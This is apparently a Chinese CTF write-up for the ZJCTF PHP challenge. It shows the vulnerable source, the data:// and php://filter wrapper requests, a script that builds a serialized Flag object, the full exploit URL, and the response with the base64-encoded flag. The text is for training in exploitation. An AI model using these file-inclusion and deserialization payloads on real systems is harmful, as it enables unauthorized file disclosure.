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 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

这道题目首先要进入if，但是file_get_contents是用来读文件的，我们这可以使用伪协议data，伪装文件确保读到的内容是welcome to the zjctf

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/?text=data://text/plain,welcome to the zjctf

接下来是一个文件包含，这里不允许我们直接包含flag，有一个提示文件useless.php，先读一下，传参

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/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一个base64编码，解码后为

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<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

根据题题目后面的unserialize函数可以判断这里是一个反序列化

这里还提示了flag就在flag.php中，这个类是专门让我们包含flag文件的

写一个生成序列化payload的脚本

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<?php

class Flag
{  //flag.php
    public $file = "php://filter/read=convert.base64-encode/resource=flag.php";
}
echo urlencode(serialize(new Flag()));

得到

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O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

然后正常包含useless.php文件，传参

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/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
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响应：

welcome to the zjctf

PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tiYWU2ZDFiYy0yYjk4LTRhYWMtYTM3Yy01ZTZmOTRlYzQ0NGJ9Iik7Cn0KCj8+Cg==
U R SO CLOSE !///COME ON PLZ

得到flag的base64编码，解码就是flag